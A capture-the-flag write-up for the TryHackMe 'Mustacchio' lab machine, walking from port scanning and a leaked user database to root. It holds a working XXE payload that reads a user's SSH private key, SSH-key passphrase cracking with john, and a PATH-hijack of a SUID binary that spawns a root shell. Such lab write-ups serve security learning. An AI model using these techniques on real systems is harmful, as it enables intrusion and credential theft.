6 minutes
THM: Mustacchio
Nmap
First we scan for open ports
# nmap -p- -T4 -sV -sC 10.10.225.65 -oA nmap
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-13 10:22 BST
Nmap scan report for 10.10.225.65
Host is up (0.020s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 58:1b:0c:0f:fa:cf:05:be:4c:c0:7a:f1:f1:88:61:1c (RSA)
| 256 3c:fc:e8:a3:7e:03:9a:30:2c:77:e0:0a:1c:e4:52:e6 (ECDSA)
|_ 256 9d:59:c6:c7:79:c5:54:c4:1d:aa:e4:d1:84:71:01:92 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Mustacchio | Home
|_http-server-header: Apache/2.4.18 (Ubuntu)
8765/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Mustacchio | Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.95 seconds
Website (80)
The site appears to be a basic site with no special features, so we run a gobuster.
# gobuster dir -u http://10.10.225.65 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.225.65
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 277]
/.hta (Status: 403) [Size: 277]
/.htpasswd (Status: 403) [Size: 277]
/custom (Status: 301) [Size: 313] [--> http://10.10.225.65/custom/]
/fonts (Status: 301) [Size: 312] [--> http://10.10.225.65/fonts/]
/images (Status: 301) [Size: 313] [--> http://10.10.225.65/images/]
/index.html (Status: 200) [Size: 1752]
/robots.txt (Status: 200) [Size: 28]
/server-status (Status: 403) [Size: 277]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
Looking into the custom directory we find a backup file.

Checking the backup file we see that it is a sqlite database and reveals some credentials.
# file users.bak
users.bak: SQLite 3.x database, last written using SQLite version 3034001, file counter 2, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 2
# sqlite3 users.bak
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users(username text NOT NULL, password text NOT NULL);
INSERT INTO users VALUES('admin','18************************************4b');
COMMIT;
We reveal the password from the hash using crackstation.

Website (8765)
Visiting the site on port 8765 we get a login form.

We use the creds found earlier, which work, and the site shows us a form for adding a comment.

Looking in the source code we see a comment revealing the username barry and a file at /auth/dontforget.bak.

Downloading dontforget.bak we see its an xml file. It does give any clues with its contents, but the structure is important.
<?xml version="1.0" encoding="UTF-8"?>
<comment>
<name>Joe Hamd</name>
<author>Barry Clad</author>
<com>his paragraph was a waste of time and space. If you had not read this and I had not typed this you and I could’ve done something more productive than reading this mindlessly and carelessly as if you did not have anything else to do in life. Life is so precious because it is short and you are being so careless that you do not realize it until now since this void paragraph mentions that you are doing something so mindless, so stupid, so careless that you realize that you are not using your time wisely. You could’ve been playing with your dog, or eating your cat, but no. You want to read this barren paragraph and expect something marvelous and terrific at the end. But since you still do not realize that you are wasting precious time, you still continue to read the null paragraph. If you had not noticed, you have wasted an estimated time of 20 seconds.</com>
</comment>
Using this template we can craft an XXE payload to try and read barry’s private SSH key
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///home/barry/.ssh/id_rsa" >]>
<comment>
<name>Joe Hamd</name>
<author>Barry Clad</author>
<com>&xxe;</com>
</comment>

We got the key, but it is password protected so we need to crack it first.
# ssh2john barryrsa > barryrsa.hash
# john barryrsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
********** (barryrsa)
1g 0:00:00:01 DONE (2025-08-13 12:45) 0.8333g/s 2475Kp/s 2475Kc/s 2475KC/s urieljr.k..urielfabricio07
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Now we can login as barry and get the user flag.
# ssh barry@10.10.225.65 -i barryrsa
Enter passphrase for key 'barryrsa':
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-210-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
34 packages can be updated.
16 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
barry@mustacchio:~$ ls
user.txt
barry@mustacchio:~$ cat user.txt
62****************************31
Privilege escalation
Looking around the system we find an interesting looking SUID file in another users home directory.
barry@mustacchio:~$ ls -lah /home/joe
total 28K
drwxr-xr-x 2 joe joe 4.0K Jun 12 2021 .
drwxr-xr-x 4 root root 4.0K Jun 12 2021 ..
-rwsr-xr-x 1 root root 17K Jun 12 2021 live_log
barry@mustacchio:~$ file /home/joe/live_log
/home/joe/live_log: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6c03a68094c63347aeb02281a45518964ad12abe, for GNU/Linux 3.2.0, not stripped
When we run the binary it outputs web server logs until killed. Checking the executable with strings we can see it is running the command tail -f var/log/nginx/access.log.
barry@mustacchio:~$ strings /home/joe/live_log
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
printf
system
__cxa_finalize
setgid
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Live Nginx Log Reader
tail -f /var/log/nginx/access.log
:*3$"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
...
...
Given that tail is being called without its full direct path we can exploit it modifying our path to use our own “version” of tail.
barry@mustacchio:~$ echo '/bin/bash -p' > tail
barry@mustacchio:~$ chmod 777 tail
barry@mustacchio:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
barry@mustacchio:~$ pwd
/home/barry
barry@mustacchio:~$ export PATH=/home/barry:$PATH
Now we can run the live_log application and it will call our tail app giving us a root shell. With that we can grab the root flag.
arry@mustacchio:~$ /home/joe/live_log
root@mustacchio:~# id
uid=0(root) gid=0(root) groups=0(root),1003(barry)
root@mustacchio:~# cd /root
root@mustacchio:/root# ls
root.txt
root@mustacchio:/root# cat root.txt
32****************************a5